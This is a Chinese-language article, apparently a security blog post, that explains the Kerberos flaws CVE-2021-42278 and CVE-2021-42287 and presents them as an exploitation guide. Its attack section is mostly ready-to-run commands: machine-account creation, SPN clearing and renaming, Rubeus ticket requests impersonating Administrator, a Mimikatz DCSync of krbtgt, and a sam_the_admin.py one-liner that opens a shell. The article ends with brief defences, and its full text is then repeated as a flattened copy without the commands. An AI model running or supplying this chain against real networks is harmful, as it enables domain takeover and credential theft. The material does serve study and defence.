透过认证协议理解最新打域控姿势
字数 1474 2025-08-07 08:21:57

Kerberos域提权漏洞CVE-2021-42278与CVE-2021-42287深度分析与利用指南

漏洞概述

本教学文档详细分析CVE-2021-42278和CVE-2021-42287两个Kerberos协议相关的域提权漏洞。这两个漏洞结合使用,允许攻击者仅凭一个普通域账号密码即可在特定环境下获取域控制器权限,危害性极高。

漏洞编号

  • CVE-2021-42278:与CVE-2021-42287结合使用,允许攻击者模拟域控制器账户
  • CVE-2021-42287:Kerberos协议实现缺陷导致的权限提升漏洞

漏洞原理深度分析

Kerberos认证流程回顾

在深入漏洞前,先回顾标准Kerberos认证流程:

  1. AS_REQ & AS_REP:客户端向KDC请求TGT(Ticket Granting Ticket)
  2. TGS_REQ & TGS_REP:客户端使用TGT请求服务票据(ST)
  3. AP_REQ & AP_REP:客户端使用ST访问服务

CVE-2021-42287漏洞成因

该漏洞的核心在于Kerberos协议实现中的以下缺陷:

  1. 当Kerberos请求服务票据时,客户端需要出示TGT
  2. 如果KDC找不到请求的服务主体名称(SPN),会自动再次搜索带"$"后缀的账户名
  3. 攻击者可利用此特性:
    • 创建机器账户并请求其TGT
    • 修改该机器账户名为与域控机器账户相同(不带"$")
    • 由于找不到该账户,KDC会使用域控的密钥加密TGS票据

CVE-2021-42278漏洞补充

该漏洞允许域内机器账户的sAMAccountName属性被修改为与域控相同,且域控未对此做验证,为CVE-2021-42287提供了利用条件。

漏洞利用前提条件

  1. 域账号凭证:需要至少一个普通域账号的用户名和密码
  2. MachineAccountQuota(MAQ)设置:默认允许域账户创建10个机器账户(MAQ值不为0)

详细攻击流程

1. 创建机器账户

使用域账号创建新的机器账户:

# 使用Powermad创建机器账户
New-MachineAccount -MachineAccount attacktubai -Domain tubai.com -DomainController AD-server -Verbose

2. 清除机器账户的SPN

# 使用addspn.py清除SPN
python3 addspn.py -u 'tubai\tomcat' -p 'qwe@123' -t 'attacktubai$' -c AD-server

3. 修改机器账户sAMAccountName

将机器账户名改为与域控相同(不带"$"):

python3 renameMachine.py -current-name 'attacktubai$' -new-name 'AD-server' -dc-ip '192.168.52.154' 'tubai.com'/'tomcat':'qwe@123'

4. 请求TGT

使用修改后的机器账户名请求TGT:

# 使用Rubeus请求TGT
Rubeus.exe asktgt /user:AD-server /password:123456 /domian:tubai.com /dc:AD-server.tubai.com /nowrap

关键点:此时AS_REP阶段会返回用krbtgt账户加密的TGT,包含Session-key AS、时间戳、Client-info和PAC信息。

5. 恢复机器账户名

将机器账户名改回或改为其他名称:

python3 renameMachine.py -current-name 'AD-server' -new-name 'attacktubai$' -dc-ip 192.168.52.154 'tubai.com'/'tomcat':'qwe@123'

6. 通过S4U2self申请TGS Ticket

Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/AD-server.tubai.com" /dc:"AD-server.tubai.com" /ptt /ticket:[Base64_TGT]

关键点:此时TGS_REP阶段由于找不到AD-server账户,KDC会搜索AD-server$并使用域控密钥加密ST。

7. 执行DCSync攻击

# 使用Mimikatz执行DCSync
lsadump::dcsync /user:tubai\krbtgt

自动化利用工具

已有自动化利用脚本sam_the_admin.py:

python3 sam_the_admin.py "tubai.com/kakao:qwe@123" -dc-ip 192.168.52.154 -shell

防御措施

  1. 安装微软2021年11月补丁
  2. 限制普通用户创建机器账户的权限(设置MachineAccountQuota=0)
  3. 监控域内机器账户名的异常修改
  4. 实施Kerberos协议日志审计,关注异常票据请求

总结

这两个漏洞组合利用形成了一种sAMAccountName欺骗攻击,利用Kerberos协议实现中的缺陷,通过以下步骤实现域提权:

  1. 创建机器账户并修改其名为域控名
  2. 请求TGT后恢复机器名
  3. 利用KDC在找不到账户时的自动搜索行为
  4. 获取域控密钥加密的高权限票据
  5. 执行DCSync等高风险操作

该攻击链简单有效,仅需一个普通域账号密码即可在满足条件的环境中获取域控权限,管理员应高度重视并及时修补。

Kerberos域提权漏洞CVE-2021-42278与CVE-2021-42287深度分析与利用指南 漏洞概述 本教学文档详细分析CVE-2021-42278和CVE-2021-42287两个Kerberos协议相关的域提权漏洞。这两个漏洞结合使用,允许攻击者仅凭一个普通域账号密码即可在特定环境下获取域控制器权限,危害性极高。 漏洞编号 CVE-2021-42278:与CVE-2021-42287结合使用,允许攻击者模拟域控制器账户 CVE-2021-42287:Kerberos协议实现缺陷导致的权限提升漏洞 漏洞原理深度分析 Kerberos认证流程回顾 在深入漏洞前,先回顾标准Kerberos认证流程: AS_ REQ & AS_ REP :客户端向KDC请求TGT(Ticket Granting Ticket) TGS_ REQ & TGS_ REP :客户端使用TGT请求服务票据(ST) AP_ REQ & AP_ REP :客户端使用ST访问服务 CVE-2021-42287漏洞成因 该漏洞的核心在于Kerberos协议实现中的以下缺陷: 当Kerberos请求服务票据时,客户端需要出示TGT 如果KDC找不到请求的服务主体名称(SPN),会自动再次搜索带"$"后缀的账户名 攻击者可利用此特性: 创建机器账户并请求其TGT 修改该机器账户名为与域控机器账户相同(不带"$") 由于找不到该账户,KDC会使用域控的密钥加密TGS票据 CVE-2021-42278漏洞补充 该漏洞允许域内机器账户的sAMAccountName属性被修改为与域控相同,且域控未对此做验证,为CVE-2021-42287提供了利用条件。 漏洞利用前提条件 域账号凭证 :需要至少一个普通域账号的用户名和密码 MachineAccountQuota(MAQ)设置 :默认允许域账户创建10个机器账户(MAQ值不为0) 详细攻击流程 1. 创建机器账户 使用域账号创建新的机器账户: 2. 清除机器账户的SPN 3. 修改机器账户sAMAccountName 将机器账户名改为与域控相同(不带"$"): 4. 请求TGT 使用修改后的机器账户名请求TGT: 关键点 :此时AS_ REP阶段会返回用krbtgt账户加密的TGT,包含Session-key AS、时间戳、Client-info和PAC信息。 5. 恢复机器账户名 将机器账户名改回或改为其他名称: 6. 通过S4U2self申请TGS Ticket 关键点 :此时TGS_ REP阶段由于找不到AD-server账户,KDC会搜索AD-server$并使用域控密钥加密ST。 7. 执行DCSync攻击 自动化利用工具 已有自动化利用脚本sam_ the_ admin.py: 防御措施 安装微软2021年11月补丁 限制普通用户创建机器账户的权限(设置MachineAccountQuota=0) 监控域内机器账户名的异常修改 实施Kerberos协议日志审计,关注异常票据请求 总结 这两个漏洞组合利用形成了一种sAMAccountName欺骗攻击,利用Kerberos协议实现中的缺陷,通过以下步骤实现域提权: 创建机器账户并修改其名为域控名 请求TGT后恢复机器名 利用KDC在找不到账户时的自动搜索行为 获取域控密钥加密的高权限票据 执行DCSync等高风险操作 该攻击链简单有效,仅需一个普通域账号密码即可在满足条件的环境中获取域控权限,管理员应高度重视并及时修补。